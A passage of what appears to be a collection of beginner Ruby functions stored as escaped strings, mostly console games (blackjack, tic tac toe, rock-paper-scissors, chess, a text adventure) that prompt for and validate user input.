#switch player after input\n player == 1 ? player += 1 : player -=1\n end\n\n display\n puts \"Game Over\"\n end", "def gold_room()\n\tputs \"This room is full of gold. How much do you take?\"\n\tprompt; next_move = gets.chomp\n\n\tif next_move.to_i.to_s == next_move # check if the input is a number, convert to string and compare with the original input\n\t\thow_much = next_move.to_i()\n\telse\n\t\tdead(\"Man, learn to type a number.\")\n\tend\n\n\tif how_much < 50\n\t\tputs \"Nice, you're not greedy, you win!\"\n\t\tProcess.exit(0)\n\telse\n\t\tdead(\"You greedy bastard!\")\n\tend\n\nend", "def user_wants_to_cheat?\n\t\t\tputs \"Press Enter to continue\"\n\t\t\tcontinue = gets.chomp\n\t\t\tif continue.downcase == \"cheat\"\n\t\t\t\tself.move_my_horse\n\t\t\tend\n\t\tend", "def start_round\n puts \"TURN: #{current_player.name}\"\n #Answer of the current question\n answer = question_generator\n user_input = Integer(gets.chomp)\n\n #check with real answer\n if answer === user_input\n puts \"YES! #{current_player.name} you are correct\"\n\n else\n puts \"No! #{current_player.name} you are wrong!\"\n self.current_player.life -= 1\n end\n \n puts \"P1: #{@player1.life}/3 vs P2: #{@player2.life}/3\"\n \n if @current_player.life == 0\n @game_playing = false\n puts \"----- GAME OVER -----\" \n if @player1.life > @player2.life\n puts \"#{player1.name} won with score of #{player1.life}/3\"\n else\n puts \"#{player2.name} won with score of #{player2.life}/3\"\n end\n end\n end", "def prompt(guess, answer, tried_again)\n\n\tif guess == answer\n\n\t\t# if a user wins give them the option to play the game again\n\n\t\tputs \"Congratulations! You chose wisely\" \n\t\tputs \"Would you like to play again? Yes or No?\"\n\t\t\ttried_again = false\n\t\t\tanswer_2 = gets.chomp.downcase\n\t\t\tcase answer_2\n\t\t\t\twhen \"yes\" then start_game(tried_again)\n\t\t\t\twhen \"y\" then start_game(tried_again)\n\t\t\t\telse\n\t\t\t\t\treturn true\n\t\t\tend\n\telse\n\n\t\t# tell the user if their guess are 'higher' or 'lower' than the correct number\n\n\t\tif guess > answer \n\t\t\tputs \"You chose too high with #{guess}.\"\n\t\t\tif tried_again == true \n\t\t\t\tanswer_temp(guess, answer)\n\t\t\tend\n\t\telse\n\t\t\tputs \"You chose too low with #{guess}.\"\n\t\t\tif tried_again == true \n\t\t\t\tanswer_temp(guess, answer)\n\t\t\tend\n\t\tend\n\n\t\t# give them the option to play the game again\n\n\t\tputs \"Would you like to try again? Yes or No?\"\n\t\t\ttried_again = true\n\t\t\tanswer_2 = gets.chomp.downcase\n\t\t\tcase answer_2\n\t\t\t\twhen \"yes\" then input(answer, tried_again)\n\t\t\t\twhen \"y\" then input(answer, tried_again)\n\t\t\t\telse\n\t\t\t\t\treturn false\n\t\t\tend\n\tend\n\nend", "def get_goal(avg)\n puts \"Your daily intake should be around #{avg}\"\n puts \"What is your goal?\"\n goal = (gets.chomp).to_i\n# Warn user if goal is over +- 200 \n if goal > (avg + 200)\n puts \"Your goal is above the daily average\"\n elsif goal < (avg - 200)\n puts \"Your goal is below the daily average\"\n else\n puts \"Good goal! You can do it!\"\n end\n goal\nend", "def evaluate (player_total, dealer_total, playing)\n if player_total > 21\n puts \"Sorry, you went bust!\"\n elsif dealer_total > 21\n puts \"Dealer went bust, you won!\"\n elsif player_total == 21\n puts \"Blackjack!!! You win!\"\n elsif dealer_total == 21\n puts \"Dealer hit blackjack! You lose.\"\n elsif player_total > dealer_total\n puts \"You've won! Higher score than the dealer.\"\n elsif player_total < dealer_total\n puts \"Sorry, you lost. The dealer's score is higher than yours.\"\n else player_total == dealer_total\n puts \"It's a push! Your hands are tied.\"\n end\n puts \"Would you like to play another game? (yes or no response only)\"\n # again need more validation for response here\n playing = gets.chomp.downcase\nend", "def valid_num_prompt\n puts \"Type a number you would like to use for this operation.\"\n answer = gets.chomp\n\n if valid_num?(answer) == false # this part works, but only two times.\n puts \"Please type in a valid number.\" # I can't figure out how to make it recursively go back.\n answer = gets.chomp\n answer\n else\n answer.to_i\n end\nend", "def sit_or_quit\n puts \"Sit? or Quit?\"\n puts \"1--sit; 2--quit\"\n get_input = gets.chomp\n while (!is_int?(get_input)) || ((is_int?(get_input)) && !((1..2)===Integer(get_input))) \n puts \"Invalid input. Please re-input: 1--sit;2--quit\"\n get_input = gets.chomp\n end\n choice = Integer(get_input)\n case choice\n when 1\n @player_status = \"in\"\n when 2\n @player_status = \"out\"\n end\n end", "def shopping_cart()\n puts \"Your beautful wife just update her shopping cart, and you have three options to do:\"\n puts \"ignore shopping cart\"\n puts \"pay shopping cart\"\n puts \"delete her account\"\n \n prompt; next_move = gets.chomp\n \n if next_move == \"ignore shopping cart\"\n cthulhu_room()\n elsif next_move == \"pay shopping cart\"\n gold_room()\n elsif next_move == \"delete her account\"\n dead(\"Sorry, mate, wrong answer, you are so dead.\")\n else\n puts \"Sorry, mate, you have to make a choice.\"\n shopping_cart()\n end\nend", "def stay\n until dealer_score > 15\n dealer_hit\n end\n if dealer_score == 21\n puts \"So sorry..dealer wins!! with a total of #{dealer_score}.\"\n dealer_win\n play_again\n elsif dealer_score > 21\n puts \"Congrats..dealer busts!! with a total of #{dealer_score}.\"\n player_win\n play_again\n elsif dealer_score > player1_score\n puts \"So sorry..dealer wins!! with a total of #{dealer_score}.\"\n dealer_win\n play_again\n elsif player1_score >= dealer_score\n puts \"Congrats..you win!! with a score of #{player1_score} against dealers total of #{dealer_score}.\"\n player_win\n play_again\n end\n end", "def check_who_win(user_input, computer_input)\n if user_input == computer_input\n 'Haha! It is draw! You can try again!'\n elsif user_input == 'R'\n if computer_input == 'S'\n 'Wow! Rock smashes Scissors! You Win!'\n elsif computer_input == 'P'\n 'Oh! Paper covers Rock! You Lose!'\n end\n elsif user_input == 'P'\n if computer_input == 'R'\n 'Wow! Paper covers Rock! You Win!'\n elsif computer_input == 'S'\n 'Oh! scissors cuts Paper! You Lose!'\n end\n elsif user_input == 'S'\n if computer_input == 'P'\n 'Wow! Scissors cuts Paper! You Win!'\n elsif computer_input == 'R'\n 'Oh! Rock smashes Scissors! You Lose!'\n end\n end\nend", "def start\n puts \"Welcome to Tic Tac Toe.\"\n play_again = \"yes\"\n while play_again.downcase == \"y\" || play_again.downcase == \"yes\"\n valid_options_1 = [\"0\", \"1\", \"2\"]\n question_1 = puts \"What type of game do you want to play? (0, 1, or 2 players)\"\n input_1 = gets.strip\n until valid_options_1.include? input_1\n puts \"That's not a valid option, please enter 0, 1, or 2.\"\n question_1\n input_1 = gets.strip\n end\n\n if input_1.to_i == 0\n player_1 = Players::Computer.new(\"X\")\n player_2 = Players::Computer.new(\"O\")\n Game.new(player_1, player_2).play\n elsif input_1.to_i == 1\n puts \"Would you like to go first and be X?\"\n answer = gets.strip\n if answer.downcase == \"yes\" || answer.downcase == \"y\"\n player_1 = Players::Human.new(\"X\")\n player_2 = Players::Computer.new(\"O\")\n Game.new(player_1, player_2).play\n else\n player_1 = Players::Computer.new(\"X\")\n player_2 = Players::Human.new(\"O\")\n Game.new(player_1, player_2).play\n end\n elsif input_1.to_i == 2\n player_1 = Players::Human.new(\"X\")\n player_2 = Players::Human.new(\"O\")\n Game.new(player_1, player_2).play\n end\n puts \"Would you like to play again?(Yes or No)\"\n play_again = gets.strip\n if play_again.downcase == \"no\" || play_again.downcase == \"n\"\n puts \"Goodbye, play again soon!\"\n end\n end\n end", "def entrance_decision_enter_cave_money\n\n puts \"************************************************************\"\n puts \"Bandit: Ha! You sad poor bum! well if you really want to do get into this cave then I need you to do me a favor. interested?\"\n puts \"type yes, no, or what kind of favor?\"\n while user_input = gets.chomp.downcase.rstrip.lstrip # loop while getting user input\n case user_input\n when \"what kind of favor?\"\n puts \"Bandit: Don't worry about it! now are you in or are you out?\"\n puts \"type yes or no\"\n when \"yes\"\n bandit_favor\n break\n when \"no\"\n puts \"Bandit: Get the hell out of here before I get pissed.\"\n run_away_story\n break\n else\n puts \"Please type yes, no, or what kind of favor? only!\"\n # print the prompt, so the user knows to re-enter input\n end\n end\n end", "def run_game\n user_input = false\n while user_input != 'stand'\n puts \"WOULD YOU LIKE TO HIT OR STAND?\".colorize(:yellow)\n print_game_state\n if get_hand_value(@player_hand) > 21\n puts \"YOU BUSTED HOUSE WINS\".colorize(:red)\n return\n end \n user_input = gets.chomp\n if user_input == 'hit' \n hit(@player_hand)\n elsif user_input == 'stand'\n puts \"PLAYER STANDS\".colorize(:yellow)\n else \n puts \"HOW MANY DRINKS HAVE YOU HAD TONIGHT?\".colorize(:red)\n return\n end \n end\n house_rules\n blackjack_rules\nend", "def go \n puts \"Lets play the Animal Game!\\n\" \n puts \"You think of an animal, and I'll try to guess what you're thinking of.\\nHit return when you are ready.\\n\\n\"\n ans = gets.chomp\n play(@animalTree)\n end", "def ac_needed current_temp, ac_working, desired_temp\n if ac_working && current_temp > desired_temp then\n puts \"turn on the A/C please\"\n elsif !ac_working && current_temp > desired_temp then\n puts \"Fix the A/C now It's too DAMN HOT\"\n elsif !ac_working && current < desired_temp then\n puts \"EHHH fix it when you want to its cool\"\n end\nend", "def input(answer, tried_again)\n\n\tputs \"\\nGuess a number between 1 and 100 correctly.\"\n\tguess = gets.chomp.to_i\n\n\tif guess < 101 && guess > 0 \n\t\tprompt(guess, answer, tried_again)\n\telse\n\t\tputs \"The cowboy with wise old eyes sighs.. you lost your chance for free admission.\" \n\t\treturn false\n\tend\n\n\nend", "def pick_activity\n put s \"What is todays todays temperature?\"\n temp = gets.chomp.to_i\n puts \"is it raining? (enter yes or no)\"\n rain = gets.chomp\n\n if temp > 100 || temp < 20\n puts \"You are not in New Orleans\"\n pick_activity\n elsif temp >= 80 && rain == 'no'\n puts \"#{temp} degrees is perfect for swimming\"\n elsif temp > 50 && rain == 'no'\n puts \"#{temp} degrees is perfect for hiking\"\n else\n puts \"#{temp} is too cold for hiking\"\n end\n puts \"the answer to life\" if temp == 42\n\nend", "def play\n while true\n current_player.en_passant = false\n board.formatted_grid\n if check_for_check\n if check_for_checkmate\n puts \"Checkmate!\"\n else\n puts \"Check!\"\n end\n end\n x, y = prompt_selection\n puts \"\"\n puts ask_move\n x_end, y_end = get_move\n if x_end == \"back\"\n board.clear_board\n play\n end\n while board.valid_place?(x_end, y_end) == false\n puts \"Invalid option! Try again:\"\n x_end, y_end = get_move\n board.valid_place?(x_end, y_end)\n end\n #check for en passant\n if board.get_cell_piece(x, y).type == \"pawn\" && y_end - y == 2\n current_player.en_passant = true\n elsif board.get_cell_piece(x, y).type == \"pawn\" && y - y_end == 2\n current_player.en_passant = true\n end\n\n #check for promotion\n if board.get_cell_piece(x, y).type == \"pawn\" && board.get_cell_piece(x, y).color == \"white\" && y_end == 0\n promote(x, y)\n elsif board.get_cell_piece(x, y).type == \"pawn\" && board.get_cell_piece(x, y).color == \"black\" && y_end == 7\n promote(x, y)\n end\n\n #check for castling\n if board.get_cell_piece(x, y).type == \"king\" && x_end - x == 2\n board.piece_move(x + 3, y, x + 1, y)\n board.set_cell_color(x + 2, y, \"red\")\n elsif board.get_cell_piece(x, y).type == \"king\" && x - x_end == 2\n board.piece_move(x - 4, y, x - 1, y)\n board.set_cell_color(x - 2, y, \"red\")\n end\n #check if taking an opponent's piece\n if is_taking_piece?(x_end, y_end) \n hash_value = other_player.pieces_left.key([x_end, y_end])\n current_player.pieces_left[hash_value] = [x_end, y_end]\n other_player.pieces_left.delete(hash_value)\n\n board.piece_move(x, y, x_end, y_end)\n else\n hash_value = current_player.pieces_left.key([x, y])\n current_player.pieces_left[hash_value] = [x_end, y_end]\n board.piece_move(x, y, x_end, y_end)\n end\n #if board.game_over\n #puts game_over_message\n #board.formatted_grid\n #return\n #else\n switch_players\n #end\n end\n end", "def run_game\n bet()\n starting_hands()\n user_input = ''\n while user_input != \"s\" && user_input != \"stand\"\n show_hands()\n if hand_value(@player_hand) == 21\n puts \"\\BLACKJACK! YOU WIN!\"\n @user[:balance] += (@wager * 1.5)\n puts \"\\nYour new balance is $#{@user[:balance]}\"\n return\n end\n puts \"\\nWould you like to (H)it or (S)tand?\"\n user_input = gets.chomp.downcase\n if user_input == 'h' || user_input == 'hit'\n hit(@player_hand)\n if hand_value(@player_hand) > 21\n puts \"BUST! Sorry, you LOSE\"\n @user[:balance] -= @wager\n puts \"\\Your new balance is $#{@user[:balance]}\"\n return\n end\n elsif user_input == 'S' || user_input == 'stand'\n puts \"\\Good Luck!\"\n else\n puts \"\\Invalid input, try again\"\n end\n end \n dealer_decision()\n calculate_conditions() \n end", "def control(player_choice) \n if @game_over == false\n @game.make_move(@game.current_player, player_choice) \n if @game.win? \n @game.print_grid\n puts print_name(@game.win?) + \" gets \" + pink(\"cake\") + \", the loser will not be \" + pink(\"reformated into cake ingredients.\")\n @game_over = true\n elsif @game.tie? \n @game.print_grid\n puts \"It seems that you are both \" + pink(\"equally dumb\") + \". And probably \" + pink(\"equally flamable.\")\n @game_over = true\n else \n if @game_mark == \"player\" \n assign_player\n start_turn\n elsif @game_mark == \"AI\" \n \n if @game.current_player == \"O\" \n assign_player \n @AI.make_move \n elsif @game.current_player == \"X\" \n assign_player \n start_turn \n end\n else \n raise \"Game mark Error\".inspect\n end\n end\n end\n end", "def continue_game\n\n\t\tstart_game\n\t\tplay_game\n\n\t\tputs \"Press 1 to continue the game.\"\n\t\tputs \"If you don't want to continue, press anything else.\"\n\t\tinput = gets().chomp().to_i\n\n\t\twhile input == 1\n\t\t\t\n\t\t\t\n\t\t\tstart_game\n\t\t\tplay_game\n\n\t\t\tputs \"Press 1 to continue the game.\"\n\t\t\tputs \"If you don't want to continue, press anything else.\"\n\t\t\tinput = gets().chomp().to_i\n\n\t\tend\n\n\t\tendgame\n\n\tend", "def pokemon_creator\r\n\r\n\t# ask for which pokemon they want\r\n\tvalid_pokemon= false\r\n\tputs \"Which Pokemon would you like?\"\r\n\tuntil valid_pokemon\r\n\t\tchosen_pokemon= gets.chomp\r\n\t\tif chosen_pokemon.empty?\r\n\t\t\tputs \"Invalid response, Please enter a Pokemon\"\r\n\t\telse\r\n\t\t\tvalid_pokemon= true\r\n\t\tend\r\n\tend\r\n\r\n\t# ask if they want a nickname for it\r\n\tvalid_want_nickname= false\r\n\tputs \"Would you like to choose a nickname? (yes/no)\"\r\n\tuntil valid_want_nickname\r\n\t\twant_nickname= gets.chomp\r\n\t\t\r\n\t\t# If they want a nickname ask them what they want the nickname to be\r\n\t\tif want_nickname.downcase== \"yes\"\r\n\t\t\tvalid_want_nickname= true\r\n\t\t\tputs \"Please type in what nickname you would like to give\"\r\n\t\t\tvalid_nickname= false\r\n\t\t\t# loop until a vaild nickname\r\n\t\t\tuntil valid_nickname\r\n\t\t\t\tchosen_nickname= gets.chomp\r\n\t\t\t\tif chosen_nickname.empty?\r\n\t\t\t\t\tputs \"Invalid response\"\r\n\t\t\t\telse\r\n\t\t\t\t\tvalid_nickname= true\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\t# If they do not want a nickname, set the nickname to the pokemon chosen\r\n\t\telsif want_nickname.downcase== \"no\"\r\n\t\t\tvalid_want_nickname= true\r\n\t\t\tchosen_nickname= chosen_pokemon\r\n\t\telse\r\n\t\t\tputs \"Invalid response\"\r\n\t\tend\r\n\tend\r\n\r\n\t# ask for what level they want their pokemon to be only accepting 1-100\r\n\tvalid_level= false\r\n\tputs \"What level do you want your pokemon at? (1-100)\"\r\n\tuntil valid_level\r\n\t\tchosen_level= gets.to_i\r\n\t\t# if the chosen pokemon level is below 1 ask for it again\r\n\t\t# this will catch if the user did not input an integer as well\r\n\t\tif chosen_level < 1\r\n\t\t\tputs \"Invalid response, This pokemon must be at least level 1\"\r\n\t\t# if the chosen pokemon level is above 100 ask again\r\n\t\telsif chosen_level > 100\r\n\t\t\tputs \"Invalid response, This pokemon's level cannot exceed 100\"\r\n\t\telse\t\r\n\t\t\tvalid_level= true\r\n\t\tend\r\n\tend\r\n\r\n\t# ask for this pokemon's moveset\r\n\tchosen_moveset=[]\r\n\tmoveset_finish= false\r\n\t\r\n\t# loop until the moveset is complete, needs at least 1 move and at max 4 moves\r\n\tuntil moveset_finish\r\n\t\tvalid_move= false\r\n\t\tputs \"Please add a move you want this pokemon to know\"\r\n\t\t# input move\r\n\t\tuntil valid_move\r\n\t\t\tchosen_move= gets.chomp\r\n\t\t\tif chosen_move.empty?\r\n\t\t\t\tputs \"Invalid response, Please enter a move\"\r\n\t\t\telse\r\n\t\t\t\tvalid_move= true\r\n\t\t\t\tchosen_moveset.push(chosen_move)\r\n\t\t\tend\r\n\t\tend\r\n\t\t\r\n\t\tputs \"#{chosen_pokemon}'s current movset is #{chosen_moveset}\"\r\n\t\t# condition if the moveset is not full\r\n\t\t# asks if they would like to add more moves\r\n\t\tif chosen_moveset.length < 4\r\n\t\t\tputs \"Would you like to add another move? (yes/no)\"\r\n\t\t\tvalid_yes_no= false\r\n\t\t\tuntil valid_yes_no\r\n\t\t\t\tmore_moves= gets.chomp\r\n\t\t\t\t# if they do not want to add more moves exit loops\r\n\t\t\t\tif more_moves.downcase == \"no\"\r\n\t\t\t\t\tvalid_yes_no= true\r\n\t\t\t\t\tmoveset_finish= true\r\n\t\t\t\t# if they want to add more moves\r\n\t\t\t\telsif more_moves.downcase == \"yes\"\r\n\t\t\t\t\tvalid_yes_no= true\r\n\t\t\t\t# invalid responses\r\n\t\t\t\telse\r\n\t\t\t\t\tputs \"Invalid response\"\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\t\t\t\r\n\t\t# if the moveset is full\r\n\t\telse\r\n\t\t\tputs \"#{chosen_pokemon} cannot learn any more moves\"\r\n\t\t\tmoveset_finish= true\r\n\t\tend\r\n\tend\r\n\r\n\t# Create an instance of Pokemon class with the fields inputed by the user\r\n\tinstance_pokemon= Pokemon.new(chosen_pokemon,chosen_nickname,chosen_level,chosen_moveset)\r\n\r\nend", "def play_again\n puts (\"Do you want to play another game ? Yes / No\").red\n print \">\"\n decision = gets.chomp\n while decision != \"Yes\" && decision != \"No\"\n puts \"Invalid answer. Do you want to play again ? Please, type 'Yes' or 'No'\"\n print \">\"\n decision = gets.chomp\n end\n return decision\n end", "def player_turn(player_cards, dealer_cards, deck)\n answer = nil\n puts \"\\nYou have #{cards_string(player_cards)}.\\n\\\ntotal: #{hand_value(player_cards)}\"\n loop do\n puts \"\\nHit, Stay or Odds?\\n\\\n('h': hit, 's': stay, 'o': odds of win/tie/lose):\"\n answer = gets.chomp\n if answer.downcase.start_with? 'h'\n hit(player_cards, deck)\n puts \"You have: #{cards_string(player_cards)}.\\n\\\ntotal: #{hand_value(player_cards)}\"\n elsif answer.downcase.start_with? 'o'\n display_odds(player_cards, dealer_cards)\n end\n break if answer.downcase.start_with?('s') || busted?(player_cards)\n end\n puts \"You chose to stay!\" if answer.downcase.start_with? 's'\n puts \"You busted!\" if busted?(player_cards)\nend", "def cthulhu_room()\n puts \"Here you see the great evil Cthulhu.\"\n puts \"He, it, whatever stares at you and you go insane.\"\n puts \"Do you flee for your life or eat your head?\"\n\n prompt; next_move = gets.chomp\n\n if next_move.include? \"flee\"\n start()\n elsif next_move.include? \"head\"\n dead(\"Well that was tasty!\")\n else\n cthulhu_room()\n end\nend", "def play()\n \n begin\n \n @computer_choice = get_computer_choice()\n @player_choice = get_player_choice()\n \n result = logic(@computer_choice, @player_choice)\n\n get_choices()\n \n case result\n\n when \"tie\"\n @rounds -= 1\n @ties += 1\n puts \"[~] it's a tie !\"\n \n when \"player win\"\n @rounds -= 1\n @player_wins += 1\n puts \"[$] Player win this round (#{@player_wins}/3)!\"\n\n when \"computer win\"\n @rounds -= 1\n @computer_wins += 1\n puts \"[$] Computer win this round (#{@computer_wins}/3)!\"\n\n end\n\n rescue Interrupt\n\n puts \"\\n\\n[!] Keyboard interrupt, Exting.\"; exit()\n \n \n end\n \n\n end", "def how_many_human_players()\n p \"How many human players [0: ai vs ai 1: player vs ai, 2: player vs player]\"\n choice = gets.chomp\n if [\"0\", \"1\", \"2\"].include?(choice) \n choice\n else\n p \"Incorrect Input\"\n how_many_human_players()\n end\nend", "def continue?\n decoration\n puts \"Do you want to learn about another planet? y or n?\"\n puts \"Or would you like to add your own planet? Enter any other key.\"\n yes_or_no = gets.chomp.downcase\n decoration\n return yes_or_no\n end", "def continue\n puts \"Do you wish to add more? Y/N\".center(70)\n result = STDIN.gets.chomp.downcase\n if result == \"n\"\n return false\n end\nend", "def wager_hand\n 1.times do\n puts \"How much do you want to wager?\"\n @bet_amount = gets.chomp.to_i\n if @bet_amount <= @bankroll\n puts \"OK! Let's play\"\n else\n puts \"You don't have enough money!\"\n puts \"Please wager a valid amount.\"\n redo\n end\n end\nend", "def all_in\n puts 'You are about to go all in, are you sure? Enter ' + '(Y)es'.light_green + ' to proceed or ' + '(N)o'.light_red + ' to go back.'\n loop do\n @input = STDIN.gets.chomp\n if @input.downcase == 'y' || @input.downcase == 'yes'\n # Sets the all-in values.\n @active_players[0].current_bet = @active_players[0].chip_stack\n @table_current_bet = @active_players[0].current_bet\n\n # Sets a max-pot value for use in calculating the maximum amount a user can win after going all in.\n @active_players[0].max_pot = @active_players[0].current_bet\n pot_adjustment\n system 'clear'\n puts 'You have gone all in! Good Luck!'\n sleep(3)\n break\n\n # If the player wants to chicken out we ask for a different amount and break the loop.\n elsif @input.downcase == 'n' || @input.downcase == 'no'\n raise_bet\n break\n else\n puts 'Response not clear enough.'\n end\n end\nend", "def gatekeeper *values\n user_input = gets.chomp\n valid = false\n values.each {|element| valid = user_input == element}\n while !valid\n puts \"I couldn't understand that, could you try that again?\"\n user_input = gets.chomp\n values.each {|element| valid = user_input == element}\n end\n user_input\nend", "def play_game\n until win_game? == true do\n get_user_selection\n get_comp_selection\n play_round\n end #end of until\n\n #adding option to play best of out of 5\n puts \"You you like to play best out of 5? (enter \\\"yes\\\" or \\\"no\\\")\"\n user_answer = gets.chomp.downcase\n\n if user_answer == \"y\" || user_answer == \"yes\"\n until best_out_of_five? == true do\n get_user_selection\n get_comp_selection\n play_round\n end\n else\n puts \"Until next time, have a great day!!\"\n end\n\n end", "def play(board)\n #input = gets.strip\n until over?(board)\n \tturn(board)\n if won?(board)\n \tputs \"Congratulations #{winner(board)}!\"\n end\n if draw?(board)\n\tputs \"Cats Game!\"\n end\n end\n\nend", "def handle_input\n # last arrows allows the arrow to return to its last position\n last_arrows = \"^ \"\n not_chosen = true\n while not_chosen\n # display \n puts $coins\n puts $arrows\n puts \"Enter the index you want to choose to swap with the dashes(You cannot choose the last index or the dashes): \"\n # input and check validity \n index = gets.chomp.to_i\n if $coins[index] != \"-\" && $coins[index+1] != \"-\" && index<11 && index >>0 \n # call movecursor using the index \n move_cursor(index)\n puts $coins\n puts $arrows\n # confirm the answer \n puts \"Type Y or y to confirm your move, otherwise hit any other key to reset your action\"\n key = gets.chomp \n # if confirmed, change the position of the arrows, swap, and end the loop\n if key==\"Y\" || key==\"y\"\n last_arrows = $arrows\n swap(index)\n not_chosen= false\n # else reset the arrows, the user didn't choose the answer they want \n else\n $arrows = last_arrows \n end\n else\n puts \"You cannot choose the last index or a dash\"\n end\n \n \n end\nend", "def hit?(card_total)\n value = [\"h\",\"s\"]\n prompt_user\n user = get_user_input \n #binding.pry\n \n \n if user == \"h\"\n card_total += deal_card\n elsif user == \"s\"\n card_total\n else \n invalid_command\n hit?(card_total)\n end \n #binding.pry\n #invalid_command \nend", "def play\n display_welcome\n puts \"\"\n display_rules\n puts \"\"\n print \"Enter your name: \"\n player_name = STDIN.gets.strip\n self.player = Player.new(player_name) # get the user\n puts \"Welcome #{self.player.name}!\"\n puts \"\"\n\n #play until user has maximum points or user inputs exit (breaks until)\n until over?\n puts \"\"\n self.board.display_board # puts the board on each turn\n print \"Enter word: \"\n user_input = STDIN.gets.strip\n puts \"\"\n # TODO: implement using Thor\n case user_input\n when \"-q\" || \"-quit\" || \"-exit\"\n self.player.display_word_list\n self.player.display_total\n puts \"Bye!\"\n break\n when \"-h\" || \"-help\"\n display_rules\n when \"-t\" || \"-total\"\n self.player.display_total\n when \"-w\" || \"--word-list\"\n self.player.display_word_list\n when \"-r\" || \"-rearrange\"\n self.board.rearrange_board\n when \"--c-b\" || \"--cheater-bee\"\n self.board.display_word_list\n else #\n check_word(user_input.upcase)\n end\n end\n\n end", "def user_input\n puts \"* * * *RULES* * * *\"\n puts \"In this game Health Points or HP is the basis for dealing damage. Each\n attack will hit as hard as 33% to 66% of your charachters MAX Health Points.\n Recovery Rate heals each turn based on how high it is. It doesn't allow you\n to play out each turn yet but for now just put in the values and have fun!\"\n print \"Enter Name 1: \"\n n1 = gets.chomp\n print \" Enter Name 2: \"\n n2 = gets.chomp\n puts \" \"\n print \"Enter #{n1}'s Health Points: \"\n hp1 = gets.to_i\n print \" Enter #{n2}'s Health Points: \"\n hp2 = gets.to_i\n puts \" \"\n print \"Enter #{n1}'s Recovery Rate: \"\n rr1 = gets.to_i\n print \" Enter #{n2}'s Recovery Rate: \"\n rr2 = gets.to_i\n puts \" \"\n @name1 = n1\n @name2 = n2\n @health_points = hp1\n @health_points2 = hp2\n @recovery_rate1 = rr1\n @recovery_rate2 = rr2\n\n battle\n end", "def player_choice_check(player_choice)\n if player_choice == \"P\" || player_choice == \"R\" || player_choice == \"S\"\n return player_choice\n else\n puts \"Please select either P, R or S\"\n player_choice_check(player_choice = gets.chomp)\n end\n end", "def game_over\n puts \"#{@current_player[:name]} loses. The final score is: #{@player1[:name]}: #{@player1[:lives]} points to #{@player2[:name]}: #{@player2[:lives]} points. Better luck next time, #{@current_player[:name]}! Type 'play' to play again or 'exit' to quit.\".yellow\n input = gets.chomp\n case input\n when 'play'\n @player1[:lives]= 3\n @player2[:lives]= 3\n run \n else \n exit\n end\nend", "def outerLoopOrGo()\n puts \"\\n\"\n puts \"----------------------------------------------------------------------------------\"\n puts \"If no more BANDs with -- different start dates -- to enter info for, type 'go' and hit 'Enter'.\"\n puts \"Otherwise, hit 'Enter' to begin submitting a Summer Camp group with different dates.\"\n gets.strip != \"go\"\nend", "def ask_question(player)\n\n puts \"Player #{player+1}: What is #{generate_question}?\"\n input = gets.strip.to_i\n\n if verify_answer?(input)\n score(player)\n else\n lose_life(player)\n end\nend", "def choose_level \n puts \"\\n\\nChoose level 1, 2, 3, or 4.\\n\\n\"\n print \"> \"\n test = STDIN.gets.chomp\n \n if (test == \"1\") || (test == \"2\") || (test == \"3\") || (test == \"4\") \n level = test\n\tputs \"\\n\\nProceeding to level #{level}!\\n\"\n\t40.times{print \"_ \"}\n\tlevel\n else\n\tchoose_level\t\n end \n \nend", "def again_or_exit?(crate)\n puts \"\\n\\nWhat would you like to do now?\\n1. View another genre.\\n2. Exit\"\n input = gets.strip\n input_i = input.to_i\n acceptable_answers = (1..2).to_a\n while acceptable_answers.none? { |answer| answer == input_i }\n puts \"\\nI'm sorry, that's not a valid option.\"\n puts \"Please enter 1 or 2.\"\n input_i = gets.strip.to_i\n end \n\n if input_i == 1\n self.start(crate)\n else\n puts \"Have a good one!\"\n end\n end", "def move\n # unless we say otherwise, ask for a move\n while true do\n puts \"What's your move?\"\n input = gets.chomp\n # if its hit, return the new card, the move name and ask again\n if input == \"hit\"\n return \"hit\"\n # if its stick, return the move name and stop\n elsif input == \"stick\"\n return \"stick\"\n break\n end\n end\nend", "def continue_round?(player:, computer:)\n !available_places.empty? && !winning_pattern?(sign: player.sign) && !winning_pattern?(sign: computer.sign)\n end", "def new_round?\n puts 'Want to play another round? Press y for yes or n for no'\n input = gets.chomp.to_s\n if input == 'y'\n sleep 1\n start_correct_game_flow\n elsif input == 'n'\n puts 'Ok, thanks for playing!'\n sleep 1\n else new_round?\n end\n end", "def walking_down_the_path\n sleep(2)\n clear_screen\n puts \"As you walk down the path it becomes harder to see, its getting dark.\"\n if @selected_weapon.include?(\"flashlight\") or @selected_weapon.include?(\"torch\") then\n puts \"Luckily you have a #{@selected_weapon} to help light the path.\"\n walking_out_of_the_path\n else\n puts \"\\nOh No! you dont have the right tools to continue in the dark!\"\n puts \"\\nWould you like to go back and pick another tool?\"\n puts \"Yes or No?\"\n print \"> \"\n end\n\n# confirmation to change weapon\n confirm = $stdin.gets.chomp.upcase\n if confirm == 'Y' or confirm == 'YES'\n puts \"You walk back to the cabin...\"\n clear_screen\n \tchange_weapon\n else\n \tgame_over\n restart_game\n end\nend", "def bestplayer()\n puts (\"Do you think Yu is the best werewolves player in the world?\")\n while true\n input = gets().chomp\n if input == \"yes\"\n break\n end\n puts (\"The only acceptable answer is yes\")\n end\nend", "def good_walk\n\n puts \"Which direction would you like to walk?\"\n puts \"Options: ['n', 's', 'e', 'w']\"\n first_input = gets.chomp\n puts \"How many blocks do you wish walk?\"\n first_input_blocks = gets.chomp.to_i\n\n system('clear')\n \n if first_input == \"n\" \n puts \"We've predefined your return path to be South\"\n elsif first_input == \"s\"\n puts \"We've predefined your return path to be North\"\n elsif first_input == \"e\"\n puts \"We've predefined your return path to be West\"\n else first_input == \"w\"\n puts \"We've predefined your return path to be East\" \n end\n\n puts \"How many blocks do you intend on walking in this direction?\"\n second_input_blocks = gets.chomp.to_i\n \n if first_input_blocks + second_input_blocks > 10 \n puts \"Your walk is calcultated to run over the estimated 10 minute allocation by #{(first_input_blocks+second_input_blocks)-10} minutes\"\n elsif first_input_blocks + second_input_blocks < 10\n puts \"Your walk is calcultated to run under the estimated 10 minute allocation by #{10 - (first_input_blocks+second_input_blocks)} minutes\"\n else first_input_blocks + second_input_blocks == 10\n puts \"Your walk is calcultated to run precisely on schedule\"\n \n end\n\nend", "def play_a_game\n\t#PLAYER 1 choses a valid selection of r,p,s\n\tprint \"\\nPLAYER 1, please select the corresponding number for your choice:\\n1 rock\\n2 paper\\n3 scissors\\n\\n\"\n\tchoice = 